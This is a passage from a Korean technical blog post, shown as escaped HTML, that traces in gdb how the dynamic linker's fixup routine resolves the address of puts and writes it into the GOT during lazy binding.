&lt;p data-ke-size=&quot;size18&quot;&gt;edx 레지스터에는 0x8048178(.dynsym에서 puts 함수의 Elf32_Sym 주소) 주소가 있는 스택의 주소&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;esi 레지스터에는 0x40013ed0(link_map) 주소&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;edi 레지스터에는 0x1a(STRTAB 에서의 puts 문자열 offset)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 ebp-16, ebp-4에는 0x8048178(.dynsym에서 puts 함수의 Elf32_Sym 주소), ebp-8에는 0x80481e2(STRTAB에서 puts 문자열의 주소)가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;_dl_lookup_versioned_symbol 호출 및 디스어셈블&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;576&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rZ8QP/btsGcejgVXp/DrRZED0HtBQwOksS5aKf0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rZ8QP/btsGcejgVXp/DrRZED0HtBQwOksS5aKf0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rZ8QP/btsGcejgVXp/DrRZED0HtBQwOksS5aKf0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrZ8QP%2FbtsGcejgVXp%2FDrRZED0HtBQwOksS5aKf0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;602&quot; height=&quot;576&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;576&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;541&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dnvHQ5/btsGdqKbREj/cWsNQMdaI8Xq2Jk18F1Pq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dnvHQ5/btsGdqKbREj/cWsNQMdaI8Xq2Jk18F1Pq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dnvHQ5/btsGdqKbREj/cWsNQMdaI8Xq2Jk18F1Pq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdnvHQ5%2FbtsGdqKbREj%2FcWsNQMdaI8Xq2Jk18F1Pq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;655&quot; height=&quot;541&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;541&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그 다음 _dl_lookup_versioned_symbol() 함수를 호출한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;_dl_lookup_versioned_symbol() 함수는 너무 길기 때문에 라이브러리의 주소와 SYMTAB의 주소를 얻어오는 함수라고 이론적으로만 알고 넘어간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;_dl_lookup_symbol() 함수가 없는지 확인&lt;/b&gt;&lt;/h3&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;432&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cI6w6w/btsGa9QPlOc/HDG0WljulDzMGmvNyXHhq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cI6w6w/btsGa9QPlOc/HDG0WljulDzMGmvNyXHhq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cI6w6w/btsGa9QPlOc/HDG0WljulDzMGmvNyXHhq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcI6w6w%2FbtsGa9QPlOc%2FHDG0WljulDzMGmvNyXHhq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;432&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;432&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;577&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bD3Cmu/btsGcPX6wpI/5gY6BUINYUexl8jmtrnjdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bD3Cmu/btsGcPX6wpI/5gY6BUINYUexl8jmtrnjdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bD3Cmu/btsGcPX6wpI/5gY6BUINYUexl8jmtrnjdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbD3Cmu%2FbtsGcPX6wpI%2F5gY6BUINYUexl8jmtrnjdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;577&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;577&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #333333; text-align: start;&quot;&gt;gdb 내에서 &amp;nbsp;&lt;/span&gt;info func 명령으로 모든 함수를 출력하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;236&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Evuag/btsGcsIQzi6/gzHMT3wfWyMp40BJHrxryK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Evuag/btsGcsIQzi6/gzHMT3wfWyMp40BJHrxryK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Evuag/btsGcsIQzi6/gzHMT3wfWyMp40BJHrxryK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEvuag%2FbtsGcsIQzi6%2FgzHMT3wfWyMp40BJHrxryK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;236&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;236&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검색 기능으로 _dl_lookup 문자열을 찾아보니 위와 같이 나왔다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;_dl_lookup_versioned_symbol 함수 반환값 확인&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;664&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdzxgj/btsGbR3hH2j/fF6tZwH7gRgYEZn6Clfwpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdzxgj/btsGbR3hH2j/fF6tZwH7gRgYEZn6Clfwpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdzxgj/btsGbR3hH2j/fF6tZwH7gRgYEZn6Clfwpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcdzxgj%2FbtsGbR3hH2j%2FfF6tZwH7gRgYEZn6Clfwpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;929&quot; height=&quot;664&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;664&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;111&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ySu1s/btsGc50Rvek/6CSTnPTyKZ7N1WYg6yZSHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ySu1s/btsGc50Rvek/6CSTnPTyKZ7N1WYg6yZSHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ySu1s/btsGc50Rvek/6CSTnPTyKZ7N1WYg6yZSHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FySu1s%2FbtsGc50Rvek%2F6CSTnPTyKZ7N1WYg6yZSHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;602&quot; height=&quot;111&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;111&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;496&quot; data-origin-height=&quot;55&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Rdi6o/btsGaZ1QR0O/NriEatXvjGABMqf1e3HvC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Rdi6o/btsGaZ1QR0O/NriEatXvjGABMqf1e3HvC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Rdi6o/btsGaZ1QR0O/NriEatXvjGABMqf1e3HvC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRdi6o%2FbtsGaZ1QR0O%2FNriEatXvjGABMqf1e3HvC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;496&quot; height=&quot;55&quot; data-origin-width=&quot;496&quot; data-origin-height=&quot;55&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;_dl_lookup_versioned_symbol() 함수 끝 부분에 bp를 걸고 실행한 후 fixup 함수로 반환 직전 레지스터의 값들을 출력해보면 함수의 반환값이 담기는 eax 레지스터에 0x40018000 값이 있고, 이는 라이브러리의 주소이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;_dl_lookup_versioned_symbol() 함수를 끝내고 fixup 함수로 복귀하여 &lt;b&gt;_dl_lookup_versioned_symbol() 함수에서 알아낸 &lt;/b&gt;SYMTAB 주소 edx 레지스터에 저장&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;520&quot; data-origin-height=&quot;126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwQDkE/btsGbzV8Can/zkYQkppxrXtvNxYRIJIUj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwQDkE/btsGbzV8Can/zkYQkppxrXtvNxYRIJIUj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwQDkE/btsGbzV8Can/zkYQkppxrXtvNxYRIJIUj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwQDkE%2FbtsGbzV8Can%2FzkYQkppxrXtvNxYRIJIUj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;520&quot; height=&quot;126&quot; data-origin-width=&quot;520&quot; data-origin-height=&quot;126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;520&quot; data-origin-height=&quot;254&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TlXlq/btsGcN650nQ/hkuiNj7xeoXSuIXemKFiok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TlXlq/btsGcN650nQ/hkuiNj7xeoXSuIXemKFiok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TlXlq/btsGcN650nQ/hkuiNj7xeoXSuIXemKFiok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTlXlq%2FbtsGcN650nQ%2FhkuiNj7xeoXSuIXemKFiok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;520&quot; height=&quot;254&quot; data-origin-width=&quot;520&quot; data-origin-height=&quot;254&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;fixup 함수로 복귀하여 이어서 진행하면 ebp-4 주소(0xbffffc90)에 있는 값 0x4001c7d0을 edx에 옮기는데, 이 값은 SYMTAB의 주소이고, SYMTAB 주소(0x4001c7d0)로부터 4byte 뒤에 있는 값 0x53570은 라이브러리에서 puts 함수의 offset 값이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;실제로 puts 함수의 offset 값이 맞는지 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/classwhirl2xaif_1_1xlate__ST__TAB.html#a61fad846a94093d7830f7510ef1c86f9&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/classwhirl2xaif_1_1xlate__ST__TAB.html#a61fad846a94093d7830f7510ef1c86f9&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;SYMTAB 주소를 구했는지 확인하고 라이브러리의 주소와 SYMTAB에서 찾아낸 puts 함수의 offset 값을 더해 실제 puts 함수의 주소 알아내 eax 레지스터에 저장&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;431&quot; data-origin-height=&quot;144&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bput7P/btsGdFVbJF3/H08XTOFEHA9B49I4rVMKYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bput7P/btsGdFVbJF3/H08XTOFEHA9B49I4rVMKYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bput7P/btsGdFVbJF3/H08XTOFEHA9B49I4rVMKYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbput7P%2FbtsGdFVbJF3%2FH08XTOFEHA9B49I4rVMKYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;431&quot; height=&quot;144&quot; data-origin-width=&quot;431&quot; data-origin-height=&quot;144&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;220&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZayIv/btsGefuO6fv/yHAKGwQv2QwcS5LrfR5DBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZayIv/btsGefuO6fv/yHAKGwQv2QwcS5LrfR5DBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZayIv/btsGefuO6fv/yHAKGwQv2QwcS5LrfR5DBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZayIv%2FbtsGefuO6fv%2FyHAKGwQv2QwcS5LrfR5DBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;439&quot; height=&quot;220&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;220&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;SYMTAB의 주소를 구해왔는지 확인하기 위해 edx 레지스터의 값이 0인지 확인해서 0이면 0x4000a830 주소로 점프하지만, SYMTAB의 주소(0x4001c7d0)를 구해왔기 때문에 다음 줄의 명령이 수행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;edx+4 주소(0x4001c7d4)에 있는 값 0x53570(라이브러리에서 puts 함수의 offset)을 라이브러리의 주소(0x40018000)에 더하면 실제 puts 함수의 주소(0x4006b570)가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;fixup 함수 내에서 구해 저장해둔 puts 함수의 GOT 주소를 가져와 GOT 주소에 puts 함수의 실제 주소를 넣기&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;531&quot; data-origin-height=&quot;72&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dTmp9G/btsGbTfPaMK/7g7MQ7L6PhnhtO4tEM0JmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dTmp9G/btsGbTfPaMK/7g7MQ7L6PhnhtO4tEM0JmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dTmp9G/btsGbTfPaMK/7g7MQ7L6PhnhtO4tEM0JmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdTmp9G%2FbtsGbTfPaMK%2F7g7MQ7L6PhnhtO4tEM0JmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;531&quot; height=&quot;72&quot; data-origin-width=&quot;531&quot; data-origin-height=&quot;72&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;531&quot; data-origin-height=&quot;289&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccqP0A/btsGbzBXEAK/yogGHameOjQWROmnRqfq8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccqP0A/btsGbzBXEAK/yogGHameOjQWROmnRqfq8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccqP0A/btsGbzBXEAK/yogGHameOjQWROmnRqfq8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccqP0A%2FbtsGbzBXEAK%2FyogGHameOjQWROmnRqfq8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;531&quot; height=&quot;289&quot; data-origin-width=&quot;531&quot; data-origin-height=&quot;289&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;0x4000a832 주소로 점프한 후 fixup 함수 내에서 구해 스택에 저장해둔 puts 함수의 GOT 주소를 edi 레지스터에 담고&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;eax 레지스터의 값 0x4006b570(puts 함수의 실제 주소)을 GOT에 덮어쓴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이로써 put함수의 GOT 주소에는 puts 함수의 실제 주소가 들어가게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;fixup 함수 종료 후 _dl_runtime_resolve 함수 종료&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;641&quot; data-origin-height=&quot;470&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Jo26w/btsGeckFv0K/iKFC8CelhZPqMFbo7sntOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Jo26w/btsGeckFv0K/iKFC8CelhZPqMFbo7sntOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Jo26w/btsGeckFv0K/iKFC8CelhZPqMFbo7sntOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJo26w%2FbtsGeckFv0K%2FiKFC8CelhZPqMFbo7sntOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;641&quot; height=&quot;470&quot; data-origin-width=&quot;641&quot; data-origin-height=&quot;470&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;556&quot; data-origin-height=&quot;106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCb1pT/btsGdQI7vdw/2r7X0rBSuc8kiLT6ZTkFi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCb1pT/btsGdQI7vdw/2r7X0rBSuc8kiLT6ZTkFi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCb1pT/btsGdQI7vdw/2r7X0rBSuc8kiLT6ZTkFi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCb1pT%2FbtsGdQI7vdw%2F2r7X0rBSuc8kiLT6ZTkFi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;556&quot; height=&quot;106&quot; data-origin-width=&quot;556&quot; data-origin-height=&quot;106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;나머지 명령들을 실행하면서 fixup 함수가 끝나고 _dl_runtime_resolve 함수로 반환한 후 _dl_runtime_resolve 함수도 끝난다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;과정에서는 생략됐지만 _dl_runtime_resolve 함수로 복귀한 뒤 실제 puts 함수의 주소로 넘어간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2번째 puts 함수 호출 부분에서 GOT 주소의 값 확인&lt;/b&gt;&lt;/h2&gt;
